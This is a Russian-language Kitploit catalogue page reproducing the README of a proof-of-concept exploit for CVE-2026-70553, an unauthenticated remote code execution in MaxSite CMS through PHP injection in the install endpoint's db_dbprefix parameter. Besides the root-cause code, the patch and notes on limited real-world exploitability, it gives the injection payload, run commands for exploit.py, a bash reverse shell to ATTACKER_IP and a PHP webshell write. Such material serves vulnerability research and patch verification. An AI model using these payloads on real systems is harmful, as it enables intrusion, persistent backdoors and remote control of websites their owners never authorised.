Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-70553-PoC — Эксплойт Proof-of-concept для CVE-2026-70553, позволяющий неаутентифицированное удалённое выполнение кода (RCE) в MaxSite CMS путём персистентной PHP-инъекции в database.php через конечную точку установки. | Kitploit
Инструменты/GitHubGitHub/woshidashabi1126/cve-2026-70553-poc
Генерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubwoshidashabi1126/cve-2026-70553-poc

CVE-2026-70553-PoC

Эксплойт Proof-of-concept для CVE-2026-70553, позволяющий неаутентифицированное удалённое выполнение кода (RCE) в MaxSite CMS путём персистентной PHP-инъекции в database.php через конечную точку установки.

Репозиторий
111 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-70553 - MaxSite CMS: неаутентифицированное удалённое выполнение кода (RCE)

CVE CVSS

Proof-of-Concept для CVE-2026-70553: неаутентифицированное удалённое выполнение кода в MaxSite CMS посредством постоянной инъекции PHP-кода в database.php через конечную точку установки.


Отказ от ответственности

Данный PoC предназначен только для образовательных целей и санкционированных исследований в области безопасности. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим кодом. Проводите тестирование только против систем, которыми вы владеете или на которые у вас есть явное письменное разрешение.


Обзор уязвимости

Версии MaxSite CMS с 105.2 по 109.5 содержат критическую уязвимость неаутентифицированного удалённого выполнения кода в конечной точке установки. Параметр db_dbprefix напрямую конкатенируется в PHP-код без санитизации, что позволяет злоумышленникам внедрять произвольные PHP-операторы в . Поскольку этот файл подключается при каждом запросе, внедрённый код обеспечивает постоянное удалённое выполнение кода (persistent RCE).

application/config/database.php

Затронутые версии

  • MaxSite CMS 105.2 - 109.5
  • Исправлено в: 109.6 (2026-06-08)

Технические детали

Корневая причина

В install/installer/functions.php функция newDatabase() формирует содержимое database.php:

root@kitploit:~
function newDatabase($PV)
{
    if (file_exists(MSODIR . 'application/config/database.php-distr')) {
        $file = file_get_contents(MSODIR . 'application/config/database.php-distr');
        
        // ... other replacements ...
        
        // VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
        $file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';', 
                            '$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';', 
                            $file);
        
        file_put_contents(MSODIR . 'application/config/database.php', $file);
        return false;
    }
    // ...
}

Механизм эксплуатации

Внедряя payload следующего вида:

root@kitploit:~
db_dbprefix=mso_'; system('id'); //

Сгенерированный database.php становится:

root@kitploit:~
$db['default']['dbprefix'] = 'mso_'; system('id'); //';

Это позволяет выйти из строкового литерала и внедрить произвольный PHP-код.

Патч (109.6)

Исправление добавило проверку, предотвращающую повторную установку:

root@kitploit:~
if (file_exists(MSODIR . 'application/config/database.php-distr')
    and
    !file_exists(MSODIR . 'application/config/database.php'))  // NEW CHECK
{
    // ... create database.php only if it doesn't exist
}

Использование

Установка

root@kitploit:~
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests

Базовое использование

root@kitploit:~
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only

# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com

# Custom payload: reverse shell
python3 exploit.py http://target.com \
  --cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'

# Custom payload: write webshell
python3 exploit.py http://target.com \
  --cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'

Параметры

root@kitploit:~
--cmd           PHP code to inject (default: file write test)
--check-only    Only check if install endpoint is accessible
--db-host       Database hostname (default: localhost)
--db-user       Database username (default: test)
--db-pass       Database password (default: test)
--db-name       Database name (default: test)

Ограничения эксплуатации

КРИТИЧЕСКИ ВАЖНО: Данная уязвимость имеет серьёзные практические ограничения в реальных сценариях.

Требования

  1. Конечная точка установки должна быть доступна (каталог /install/ не удалён)
  2. Таблиц базы данных ещё НЕ должно существовать (свежая установка или очищенная база данных)
    • Функция newDatabase() вызывается, только если таблицы не существуют
    • Это проверяется в install/installer/post.php с помощью checkTableExists()

Почему большинство сайтов НЕ уязвимы

  • Продакшен-сайты завершили установку → Таблицы существуют → newDatabase() никогда не вызывается
  • Даже если /install/ доступен, путь выполнения кода до инъекции блокируется проверкой существования таблиц
  • Наше массовое сканирование показало, что только у ~24% сайтов конечная точка установки была доступна, а 0% реально эксплуатируемы из-за существующих таблиц базы данных

Реальная эксплуатируемость

  • Теоретически: Критическая (9.8 CVSS)
  • Практически: Очень низкая
  • Реалистичный профиль цели:
    • Установка, прерванная в середине процесса
    • База данных удалена вручную, но код остался
    • Свежие тестовые/dev-инстансы (не продакшен)

Локальное воспроизведение

Чтобы проверить эту уязвимость в контролируемой среде:

Развёртывание уязвимого окружения

root@kitploit:~
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5

# 2. Start PHP built-in server
php -S 127.0.0.1:8000

# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000

Проверка инъекции

root@kitploit:~
# Check if database.php was modified
cat application/config/database.php | grep dbprefix

# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';

# Trigger execution
curl http://127.0.0.1:8000/

# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt

Ссылки

  • CVE-2026-70553 — запись CVE
  • Запись в NVD
  • Консультация VulnCheck
  • MaxSite CMS на GitHub
  • Коммит с исправлением (109.6)

Хронология

  • 2026-06-08: Выпущена MaxSite CMS 109.6 с исправлением
  • 2026-08-04: Опубликован CVE-2026-70553
  • 2026-08-06: Выпущен PoC

Авторы

  • Обнаружение: Amir Aliu & Enrik Mustafa (VulnCheck)
  • Разработка PoC: Security Researcher
  • Вендор: MaxSite CMS Team

Лицензия

Этот проект распространяется под лицензией MIT. Подробности см. в LICENSE.


Помните: Всегда соблюдайте практику ответственного раскрытия уязвимостей и получайте надлежащее разрешение перед тестированием.

Скачать инструмент